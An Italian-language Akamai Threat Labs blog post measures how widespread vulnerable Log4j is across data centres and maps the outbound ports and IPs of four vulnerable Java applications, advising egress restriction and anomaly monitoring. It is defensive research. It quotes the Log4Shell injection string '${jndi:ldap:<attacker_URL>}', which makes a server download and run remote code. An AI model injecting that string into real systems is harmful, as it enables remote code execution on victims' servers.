La portata di Log4Shell: vulnerabilità su larga scala
Tutto ciò che registrate potrà essere utilizzato contro di voi
La vulnerabilità Log4Shell è destinata a esistere a lungo. Ci sono molte ipotesi sull'ambito e sul vero impatto di tale vulnerabilità: Sebbene molti l'abbiano etichettata come "grave", ci sono poche informazioni su quanto effettivamente ne sia diffuso il rischio. Per fare luce sul problema, Akamai Threat Labs utilizza la propria visibilità, fornita dai suoi numerosi data center dislocati in tutto il mondo, per valutare il rischio effettivo rappresentato da Log4Shell per le organizzazioni.
Risultati principali:
Due terzi di tutti i server Java analizzati contenevano un Log4j vulnerabile
Il 91% dei data center esaminati esegue applicazioni Java lato server, di cui oltre il 40% include server Java connessi a Internet.
Osservando gli schemi di comunicazione in uscita, la maggior parte delle applicazioni Java esaminate comunicava tramite poche porte
L'analisi degli schemi di comunicazione in uscita può aiutare le organizzazioni a individuare comportamenti anomali e a mitigare alcuni dei rischi che Log4Shell comporta
Per un'analisi più approfondita delle tendenze di sfruttamento di Log4Shell, sulla base dell'ampia visibilità di Akamai rispetto alle attività online, leggete il blog di Akamai sull'argomento.
Introduzione
Akamai Guardicore Segmentation è una soluzione utilizzata in centinaia di data center in tutto il mondo, che fornisce applicazione e visibilità di rete a livello dei processi. In parole povere, la visibilità di rete a livello dei processi ci consente di vedere tutte le connessioni effettuate all'interno della rete e sapere quale processo ha avviato la connessione alla risorsa di origine, nonché quale processo l'ha ricevuta sulla risorsa di destinazione.
La sua ampia implementazione, nonché le informazioni esclusive su ogni singolo processo ci consentono di studiare gli schemi di comunicazione di rete all'interno dei data center e delle reti cloud, ma anche lungo i loro perimetri. Con queste informazioni, possiamo trarre conclusioni riguardo la portata completa del rischio rappresentato da Log4Shell per le nostre vite digitali e scoprire cosa possono fare gli esperti della sicurezza della rete per limitarlo.
Questo post del blog è suddiviso in due parti. La prima parte fa luce sulla superficie di attacco delle organizzazioni, in altre parole, sulla probabilità che un'organizzazione sia esposta a Log4Shell. La seconda parte punta l'attenzione su alcune delle applicazioni vulnerabili ampiamente utilizzate negli ambienti di produzione e ne descrive i normali schemi di comunicazione. Tutto ciò fornisce ai sistemi di difesa informazioni che aiutano ad eseguire una corretta segmentazione di queste applicazioni e ad evitare lo sfruttamento di eventuali vulnerabilità.
La portata del rischio di Log4Shell
Per capire quanto Java sia predominante nelle organizzazioni, abbiamo raccolto i dati di oltre 200 data center diversi del mondo, appartenenti a vari settori e dimensioni differenti. In ogni data center, abbiamo individuato server connessi a Internet, nonché server che eseguivano Java, in grado di accettare connessioni di rete. Abbiamo preso in considerazione sia i processi Java (java.exe, java per Linux, javaw, ecc.) che i processi che caricano la macchina virtuale Java nella propria memoria.
Valutazione del rischio: la prevalenza di Log4j nei data center
Sebbene vi siano sempre più ipotesi rispetto alla portata e all'ambito della vulnerabilità Log4Shell, l'analisi dei data center ci permette di utilizzare i dati per quantificare il rischio che essa stessa rappresenta.
Il team ha trovato un gran numero di server vulnerabili agli attacchi di Log4Shell negli ambienti presi in esame. Anzi, abbiamo scoperto che in questi ambienti, in media, i due terzi di tutti i server Java contenevano un Log4j vulnerabile. In alcuni ambienti, almeno il 90% di tutte le macchine Java è risultato vulnerabile. Si tratta di un numero molto più alto rispetto a quanto anticipato originariamente, che dipinge un triste quadro dell'ipotetica ampia diffusione della vulnerabilità.
In un altro test, effettuato su piccola scala, il team di ricerca ha scoperto che nel 100% degli ambienti esaminati era presente almeno un server vulnerabile a Log4Shell prima dell'applicazione delle patch. Ciò indica il livello di rischio esistente in questi ambienti prima del rilascio delle patch. Una volta avviato il processo di applicazione delle patch, abbiamo potuto notare un calo nel numero di ambienti vulnerabili. Tuttavia, è importante capire che persino un piccolo numero di server vulnerabili in un grande ambiente può aprire una notevole superficie di attacco nell'ambiente in esame.
I numeri citati rappresentano il vero e proprio fulcro del problema. La popolarità di Log4j ha reso questa vulnerabilità improvvisamente diffusa, con una scala quasi inedita. Per comprendere che quasi i due terzi di tutti i server Java sono ancora vulnerabili, è necessario che i reparti IT e i team addetti alla sicurezza lavorino duramente per scoprire le aree in cui è possibile usare l'utilità di registrazione e pianificare una mitigazione.
I server Java connessi a Internet rappresentano un ulteriore rischio
La vulnerabilità dei server è amplificata dalla loro accessibilità. Sebbene la vulnerabilità stessa sia un motivo sufficiente per preoccuparsi, un server connesso a Internet rappresenta un ulteriore rischio poiché potrebbe essere utilizzato come vettore di attacco per entrare nella rete. Come analizzato nella ricerca di Akamai sulle tendenze nel traffico Internet di Log4j, possiamo vedere che gli autori degli attacchi fanno a gara per abusare di questa vulnerabilità in ogni modo possibile e con numeri sorprendenti.
Nella nostra ricerca, abbiamo scoperto una percentuale allarmante (91%) di data center in cui vengono eseguite applicazioni Java lato server, di cui oltre il 40% comprende server Java connessi a Internet. Ciò complica ulteriormente la questione. I server connessi a Internet possono essere sfruttati in modo semplice, in quanto sono facilmente accessibili dall'esterno. Nella sezione successiva di questo blog, ci concentreremo sulle comunicazioni in uscita delle applicazioni Java e daremo qualche consiglio sulla mitigazione utile per monitorare e proteggere i server connessi a Internet su cui vengono eseguite applicazioni Java.
Tuttavia, i data center in cui tutti i server Java sono interni (ossia, non connessi a Internet) non possono essere considerati sicuri. Anche se Log4Shell è stato quasi sempre concepito come un mezzo per violare le reti, alcuni casi hanno mostrato come le applicazioni Java eseguite su server interni hanno ricevuto registri da server connessi a Internet, risultando, di conseguenza, compromessi. Log4Shell, pertanto, può essere utilizzato facilmente per il movimento laterale, ma altrettanto facilmente anche per le violazioni iniziali.
Mitigazione assistita dai dati
Log4Shell è particolarmente potente quando viene utilizzata per scaricare un payload da una macchina remota, controllata da un criminale, a una vittima, per poi essere eseguito. A tal scopo, l'autore dell'attacco inietta un messaggio di registro nel formato ${jndi:ldap:<attacker_URL>}, che finisce con l'attivare una connessione dal processo applicativo vulnerabile all'URL incorporato. L'oggetto di classe Java remoto viene poi scaricato ed eseguito in memoria.
Sulla base di ciò, Akamai Threat Labs ha iniziato ad associare schemi di comunicazione dei server Java e, nello specifico, di diverse applicazioni vulnerabili a Log4Shell. Comprendere in che modo i server Java e i processi comunicano di solito offre agli esperti della sicurezza e dei reparti IT informazioni essenziali per individuare e mitigare le anomalie nei propri ambienti, fermando una volta per tutte lo sfruttamento esercitato da Log4Shell e consentendo di proseguire le normali operazioni aziendali.
Mappatura delle comunicazioni in uscita: in che modo comunicano i server Java?
Per capire come i server Java comunicano con Internet, abbiamo cominciato a quantificare il numero di porte TCP di destinazione utilizzate dalle applicazioni Java per collegarsi a Internet. Secondo la nostra analisi, la gran parte dei server connessi a Internet comunica attraverso poche porte (meno di 10).
Ciò sottolinea l'importanza e i vantaggi in termini di sicurezza offerti dalla scelta di limitare le comunicazioni in uscita consentite dai vari server e processi all'interno del data center. Pertanto, identificare la comunicazione con una porta di destinazione per la prima volta, a partire da un processo che finora ha comunicato tramite una serie specifica di porte, può essere utile per individuare i tentativi di attacco.
Continuiamo questa scia di ricerca in modo più dettagliato per alcune applicazioni Java comuni.
Schemi di comunicazione specifici per le applicazioni
Tramite l'esclusiva visibilità a livello di processi di Akamai Guardicore Segmentation, Akamai Threat Labs è in grado di raccogliere informazioni dettagliate sul comportamento di specifiche applicazioni vulnerabili a Log4Shell. Tali dati possono essere utilizzati per studiare i comportamenti usuali di questi processi, individuare anomalie e creare apposite regole di segmentazione efficaci.
Il team ha esaminato gli schemi di comunicazione di quattro famose applicazioni vulnerabili (specifichiamo tra parentesi il processo che attiva il traffico di rete):
Elasticsearch: un motore di ricerca full-text molto famoso, con una varietà di casi di utilizzo (%elasticsearch%/bin/java)
Logstash: pipeline di elaborazione dati lato server utilizzata per l'acquisizione e la trasformazione di dati (/usr/share/logstash/jdk/bin/java)
VMware vCenter: una piattaforma di gestione per macchine virtuali VMware e host ESXi (%\VMware\vCenter Server\%\bin\java.exe)
Agente Okta RADIUS: un agente utilizzato per delegare l'autenticazione RADIUS alla soluzione di gestione delle identità Okta (okta-radius.exe)
Le domande alle quali volevamo dare risposta sono le seguenti:
A quali porte di destinazione si collegano di solito queste applicazioni?
Nello specifico, a quali porte si collegano queste applicazioni quando le destinazioni si trovano su Internet?
Osservando i dati aggregati dei vari ambienti di produzione, abbiamo ricavato importanti informazioni. Abbiamo osservato che le applicazioni hanno un numero molto limitato di porte di destinazione Internet:
Logstash |
Elasticsearch |
Server vCenter |
Agente Okta RADIUS |
|
Porte in uscita |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Elevato numero di porte |
80 443 |
Porte Internet |
443 |
443 80 |
9080 902 443 80 |
80 443 |
Tuttavia, non sempre è sufficiente guardare al numero di porte, poiché gli autori degli attacchi nascondono le proprie tracce cambiando le porte utilizzate per scaricare il payload su quelle citate prima.
Per formulare conclusioni più utili a partire da questi dati, abbiamo dovuto osservare gli indirizzi IP di destinazione come mezzo per comprendere quali siano le normali attività che avvengono tramite queste porte. Nascondere le tracce di un attacco diventa ancora più difficile con gli indirizzi IP: se un dato server comunica soltanto con un indirizzo IP su Internet, l'autore di un attacco dovrà assumere il controllo del server che si nasconde dietro tale indirizzo IP per sferrare i payload dannosi da questa destinazione. Pertanto, studiare gli IP di destinazione può essere utile per scopi di difesa.
L'analisi fornisce una media di indirizzi IP univoci ai quali ogni applicazione si collega per ogni porta. Un numero basso e costante di indirizzi può aprire la strada a un'altra opportunità di prevenzione e/o rilevamento. Ciò significa che se un'applicazione "comunica" con pochissimi indirizzi IP, tutte le altre connessioni possono essere considerate sospette.
Abbiamo osservato una serie di indirizzi IP di destinazione univoci per le porte 443 e 80 e abbiamo visto che, quasi in tutti i casi, il loro numero è rimasto basso e stabile nel tempo:
Logstash |
Elasticsearch |
Server vCenter |
Agente Okta RADIUS |
||
Media di indirizzi Internet per porta |
Porta TCP 443 |
4.0 |
7.2 |
7.0 |
3.75 |
Porta TCP 80 |
- |
2.0 |
1.3 |
- |
|
Da ciò si comprende come molte applicazioni vulnerabili possono avere schemi di connessione piuttosto limitati (sia in termini di porte che di IP di destinazione) da poter utilizzare sia per ridurre la superficie degli attacchi che per l'individuazione degli attacchi stessi.
Conclusioni
La mitigazione più consigliata per la vulnerabilità Log4Shell è l'utilizzo di una versione della libreria stessa alla quale è stata applicata una patch. Tuttavia, com'è noto, l'applicazione di patch non è sempre possibile (o rapida) negli ambienti di produzione.
Le nostre scoperte sul comportamento di comunicazione delle varie applicazioni vulnerabili suggeriscono un altro approccio per ridurre la superficie di attacco e individuare gli sfruttamenti della Log4Shell (così come altri attacchi).
Invitiamo gli amministratori di rete a studiare gli schemi di comunicazione delle applicazioni vulnerabili e a mappare le connessioni in uscita, sia per quanto riguarda gli indirizzi IP che le porte di destinazione. Con queste conoscenze a disposizione, i sistemi di difesa possono limitare tali connessioni al minimo indispensabile, consentendo il traffico soltanto su porte di comunicazione standard conosciute.
Qualora non fosse possibile bloccare le connessioni, consigliamo di monitorare le anomalie nelle connessioni originate dai server connessi a Internet, indipendentemente se si tratta di nuove porte o nuovi indirizzi IP. Gli utenti di Akamai Guardicore Segmentation possono utilizzare le informazioni a livello di processi per ottenere una maggiore visibilità sulle varie connessioni effettuate da ogni server. Questi dati vengono analizzati in modo proattivo da parte del nostro team di ricerca sulle minacce per i clienti Hunt.
Per ulteriori informazioni sulla mitigazione degli attacchi Log4Shell, visitate il nostro blog: Mitigazione degli abusi di Log4j con la soluzione Akamai Guardicore Segmentation.
